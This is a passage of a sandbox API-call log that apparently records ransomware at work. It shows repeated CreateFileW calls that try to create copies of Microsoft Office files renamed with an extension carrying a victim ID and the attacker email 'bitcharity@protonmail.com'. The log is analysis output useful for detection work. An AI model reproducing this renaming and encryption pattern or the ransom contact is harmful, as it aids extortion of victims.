hTemplateFile=0x0) returned 0xffffffff [0265.283] CloseHandle (hObject=0x1068) returned 1 [0265.287] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.287] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\he\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.288] CloseHandle (hObject=0x1068) returned 1 [0265.291] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.291] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hi\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.291] CloseHandle (hObject=0x1068) returned 1 [0265.295] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.295] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hr\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.295] CloseHandle (hObject=0x1068) returned 1 [0265.299] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.299] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0265.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\hu\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0265.299] CloseHandle (hObject=0x1068) returned 1 [0266.043] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.043] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\id\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.044] CloseHandle (hObject=0x1274) returned 1 [0266.045] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.045] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\tracedefinition110.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\tracedefinition110.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.045] CloseHandle (hObject=0x1274) returned 1 [0266.049] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.049] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\uk\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\uk\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.049] CloseHandle (hObject=0x1274) returned 1 [0266.053] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.053] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\vi\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\vi\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.053] CloseHandle (hObject=0x1274) returned 1 [0266.057] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.057] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHS\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-chs\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.057] CloseHandle (hObject=0x1274) returned 1 [0266.060] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.061] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.061] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\zh-CHT\\LocalizedStrings.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\zh-cht\\localizedstrings.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.061] CloseHandle (hObject=0x1274) returned 1 [0266.063] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.063] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadata.xsd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadata.xsd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.063] CloseHandle (hObject=0x1274) returned 1 [0266.064] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.065] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\bdcmetadataresource.xsd.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bdcmetadataresource.xsd.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.065] CloseHandle (hObject=0x1274) returned 1 [0266.066] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.066] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Author2String.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\author2string.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.067] CloseHandle (hObject=0x1274) returned 1 [0266.068] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.068] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.068] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Author2XML.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\author2xml.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.068] CloseHandle (hObject=0x1274) returned 1 [0266.069] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.069] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\AUTHOR.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\author.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.070] CloseHandle (hObject=0x1274) returned 1 [0266.071] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.071] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\TAG.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\tag.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.071] CloseHandle (hObject=0x1274) returned 1 [0266.073] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.073] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.073] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\TITLE.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\title.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.073] CloseHandle (hObject=0x1274) returned 1 [0266.074] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.074] SetFilePointerEx (in: hFile=0x1274, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Sort\\YEAR.XSL.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\sort\\year.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.075] CloseHandle (hObject=0x1274) returned 1 [0266.466] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.466] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Bibliography\\Style\\APASixthEditionOfficeOnline.xsl.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\bibliography\\style\\apasixtheditionofficeonline.xsl.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.615] CloseHandle (hObject=0x11d0) returned 1 [0266.616] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.617] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.617] CloseHandle (hObject=0x11d0) returned 1 [0266.644] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.644] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.645] CloseHandle (hObject=0x1270) returned 1 [0266.646] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.646] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.646] CloseHandle (hObject=0x1270) returned 1 [0266.647] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.647] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.647] CloseHandle (hObject=0x1270) returned 1 [0266.648] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.648] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.648] CloseHandle (hObject=0x1270) returned 1 [0266.648] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.649] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.649] CloseHandle (hObject=0x1270) returned 1 [0266.649] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.649] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.650] CloseHandle (hObject=0x1270) returned 1 [0266.650] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.650] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.650] CloseHandle (hObject=0x1270) returned 1 [0266.651] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.651] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.651] CloseHandle (hObject=0x1270) returned 1 [0266.652] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.652] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.652] CloseHandle (hObject=0x1270) returned 1 [0266.653] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.653] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.653] CloseHandle (hObject=0x1270) returned 1 [0266.653] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.653] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\GrooveLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\groovelogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.654] CloseHandle (hObject=0x1270) returned 1 [0266.655] SetFilePointerEx (in: hFile=0x1270, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.655] SetFilePointerEx (in: hFile=0x1270, 